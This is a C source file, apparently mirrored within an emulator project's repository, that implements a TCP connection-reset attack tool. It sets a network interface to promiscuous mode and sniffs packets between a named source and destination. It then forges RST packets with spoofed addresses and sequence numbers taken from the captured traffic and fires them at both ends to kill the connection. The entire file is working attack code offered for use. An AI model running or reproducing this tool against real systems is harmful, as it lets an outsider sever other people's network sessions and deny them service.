mirror of
https://github.com/simh/simh.git
synced 2026-04-18 08:57:25 +00:00
248 lines
6.5 KiB
C
248 lines
6.5 KiB
C
#include <stdio.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
#include <ctype.h>
|
|
#include <sys/types.h>
|
|
#include <sys/socket.h>
|
|
#include <tcpip$examples/in.h>
|
|
#include <tcpip$examples/ip.h>
|
|
#include <tcpip$examples/tcp.h>
|
|
#include <tcpip$examples/if_ether.h>
|
|
#include <tcpip$examples/if.h>
|
|
#include <ioctls.h>
|
|
|
|
#define RSTS 10
|
|
#define IF "eth0"
|
|
|
|
int sp_fd;
|
|
|
|
unsigned short ip_fast_csum(unsigned char *iph,unsigned long ihl) {
|
|
unsigned long sum;
|
|
|
|
__asm__ __volatile__("
|
|
movl (%1), %0
|
|
subl $4, %2
|
|
jbe 2f
|
|
addl 4(%1), %0
|
|
adcl 8(%1), %0
|
|
adcl 12(%1), %0
|
|
1: adcl 16(%1), %0
|
|
lea 4(%1), %1
|
|
decl %2
|
|
jne 1b
|
|
adcl $0, %0
|
|
movl %0, %2
|
|
shrl $16, %0
|
|
addw %w2, %w0
|
|
adcl $0, %0
|
|
notl %0
|
|
2:
|
|
"
|
|
: "=r" (sum), "=r" (iph), "=r" (ihl)
|
|
: "1" (iph), "2" (ihl));
|
|
return(sum);
|
|
}
|
|
|
|
struct tcppk {
|
|
struct iphdr ip;
|
|
struct tcphdr tcp;
|
|
char data[1500];
|
|
};
|
|
|
|
struct pseudo {
|
|
unsigned long saddr, daddr;
|
|
unsigned char zero, proto;
|
|
unsigned short len;
|
|
};
|
|
|
|
void raw(void)
|
|
{
|
|
int opt=1;
|
|
|
|
if((sp_fd=socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) <0){
|
|
perror("\nRAWIP() RAW Socket problems [Died]");
|
|
exit();
|
|
}
|
|
if(setsockopt(sp_fd, IPPROTO_IP, IP_HDRINCL, &opt, sizeof(opt)) <0){
|
|
perror("RAWIP() Cannot set IP_HDRINCL [Died]");
|
|
exit();
|
|
}
|
|
|
|
}
|
|
|
|
int tap(char* device,int mode)
|
|
{
|
|
int fd;
|
|
struct ifreq ifr;
|
|
|
|
if((fd=socket(AF_INET, SOCK_PACKET, htons(0x3))) <0){
|
|
perror("SNIFF() SOCK_PACKET allocation problems [Died]");
|
|
exit();
|
|
}
|
|
|
|
strcpy(ifr.ifr_name,device);
|
|
if((ioctl(fd, SIOCGIFFLAGS, &ifr)) <0){
|
|
perror("SNIFF() Can't get device flags [Died]");
|
|
close(fd);
|
|
exit();
|
|
}
|
|
|
|
if(!mode)ifr.ifr_flags ^= IFF_PROMISC;
|
|
else ifr.ifr_flags |= IFF_PROMISC;
|
|
if((ioctl(fd, SIOCSIFFLAGS, &ifr)) <0){
|
|
perror("SNIFF() Can't set/unset promiscuous mode [Died]");
|
|
close(fd);
|
|
exit();
|
|
}
|
|
|
|
if(!mode){
|
|
close(fd);
|
|
return(0);
|
|
}
|
|
else return(fd);
|
|
}
|
|
|
|
unsigned long in_aton(const char *str)
|
|
{
|
|
unsigned long l;
|
|
unsigned long val;
|
|
int i;
|
|
|
|
l = 0;
|
|
for (i = 0; i < 4; i++)
|
|
{
|
|
l <<= 8;
|
|
if (*str != '\0')
|
|
{
|
|
val = 0;
|
|
while (*str != '\0' && *str != '.')
|
|
{
|
|
val *= 10;
|
|
val += *str - '0';
|
|
str++;
|
|
}
|
|
l |= val;
|
|
if (*str != '\0')
|
|
str++;
|
|
}
|
|
}
|
|
return(htonl(l));
|
|
}
|
|
|
|
void uff(void) {
|
|
printf("\nUso: RST sourceIP src_port destIP dest_port\n\n");
|
|
exit(1);
|
|
}
|
|
|
|
int main(int argc, char **argv) {
|
|
|
|
unsigned char buffer[1500], checkbuff[32], checkbuff2[32];
|
|
struct sockaddr_in sin, sin2;
|
|
struct iphdr *ip;
|
|
struct tcphdr *tcp;
|
|
struct pseudo *psp, *psp2;
|
|
struct tcppk tpk, tpk2;
|
|
int sniff, snt, snt2, rst=0;
|
|
unsigned long saddr, daddr;
|
|
unsigned short src, dest;
|
|
|
|
if(argc<5) {
|
|
uff();
|
|
exit(1);
|
|
}
|
|
saddr=in_aton(argv[1]);daddr=in_aton(argv[3]);
|
|
src=htons(atoi(argv[2]));dest=htons(atoi(argv[4]));
|
|
|
|
sniff=tap(IF, 1);
|
|
raw();
|
|
|
|
if(setpriority(0, 0, -20) <0){
|
|
printf("\nRST setpriority Error\n");
|
|
}
|
|
|
|
ip = (struct iphdr *)(((char *)buffer)+14);
|
|
tcp = (struct tcphdr *)(((char *)buffer)+(sizeof(struct iphdr)+14));
|
|
psp = (struct pseudo *)checkbuff;
|
|
psp2 = (struct pseudo *)checkbuff2;
|
|
|
|
memset(&sin, 0, sizeof(sin));
|
|
sin.sin_family=AF_INET;
|
|
sin.sin_port=src;
|
|
sin.sin_addr.s_addr=saddr;
|
|
memset(&sin2, 0, sizeof(sin2));
|
|
sin.sin_family=AF_INET;
|
|
sin.sin_port=dest;
|
|
sin.sin_addr.s_addr=daddr;
|
|
|
|
memset(&tpk, 0, sizeof(tpk));
|
|
memset(&tpk2, 0, sizeof(tpk2));
|
|
memset(psp, 0, sizeof(struct pseudo));
|
|
memset(psp2, 0, sizeof(struct pseudo));
|
|
|
|
tpk.ip.ihl=5;
|
|
tpk.ip.version=4;
|
|
tpk.ip.tos=0;
|
|
tpk.ip.tot_len=htons(40);
|
|
tpk.ip.frag_off=0;
|
|
tpk.ip.ttl=64;
|
|
tpk.ip.protocol=IPPROTO_TCP;
|
|
tpk.ip.saddr=daddr;
|
|
tpk.ip.daddr=saddr;
|
|
tpk.tcp.source=dest;
|
|
tpk.tcp.dest=src;
|
|
tpk.tcp.doff=5;
|
|
tpk.tcp.rst=1;
|
|
tpk.tcp.ack=1;
|
|
tpk.tcp.window=0;
|
|
psp->saddr=tpk.ip.daddr;
|
|
psp->daddr=tpk.ip.saddr;
|
|
psp->zero=0;
|
|
psp->proto=IPPROTO_TCP;
|
|
psp->len=htons(20);
|
|
tpk2=tpk;
|
|
tpk2.ip.saddr=saddr;
|
|
tpk2.ip.daddr=daddr;
|
|
tpk2.tcp.source=src;
|
|
tpk2.tcp.dest=dest;
|
|
psp2->saddr=tpk.ip.saddr;
|
|
psp2->daddr=tpk.ip.daddr;
|
|
psp2->zero=0;
|
|
psp2->proto=IPPROTO_TCP;
|
|
psp2->len=htons(20);
|
|
|
|
printf("RSTing :\t%s:%d > %s:%d\n",
|
|
argv[1], src, argv[3], dest);
|
|
while(read(sniff, &buffer, sizeof(buffer))) {
|
|
if(ip->saddr==daddr &&
|
|
ip->daddr==saddr &&
|
|
tcp->source==dest &&
|
|
tcp->dest==src) {
|
|
tpk.tcp.seq=tcp->seq+htonl(
|
|
ntohs(ip->tot_len)-40);
|
|
tpk.tcp.ack_seq=tcp->ack_seq;
|
|
tpk2.tcp.seq=tcp->ack_seq;
|
|
tpk2.tcp.ack_seq=tcp->seq+htonl(
|
|
ntohs(ip->tot_len)-40);
|
|
memcpy(checkbuff+12, &tpk.tcp, 20);
|
|
tpk.tcp.check=ip_fast_csum(
|
|
(unsigned char *)checkbuff,32);
|
|
memcpy(checkbuff2+12, &tpk2.tcp, 20);
|
|
tpk2.tcp.check=ip_fast_csum(
|
|
(unsigned char *)checkbuff2,32);
|
|
for(; rst<RSTS; rst++) {
|
|
snt2=sendto(sp_fd, &tpk2, 40, 0,
|
|
(struct sockaddr *)&sin2, sizeof(sin2));
|
|
snt=sendto(sp_fd, &tpk, 40, 0,
|
|
(struct sockaddr *)&sin, sizeof(sin));
|
|
if(snt<0)printf("[SP00F_ERROR]");
|
|
else printf("[RST]");
|
|
}
|
|
break;
|
|
}
|
|
}
|
|
printf("\n");
|
|
tap(IF, 0);
|
|
exit(0);
|
|
}
|
|
|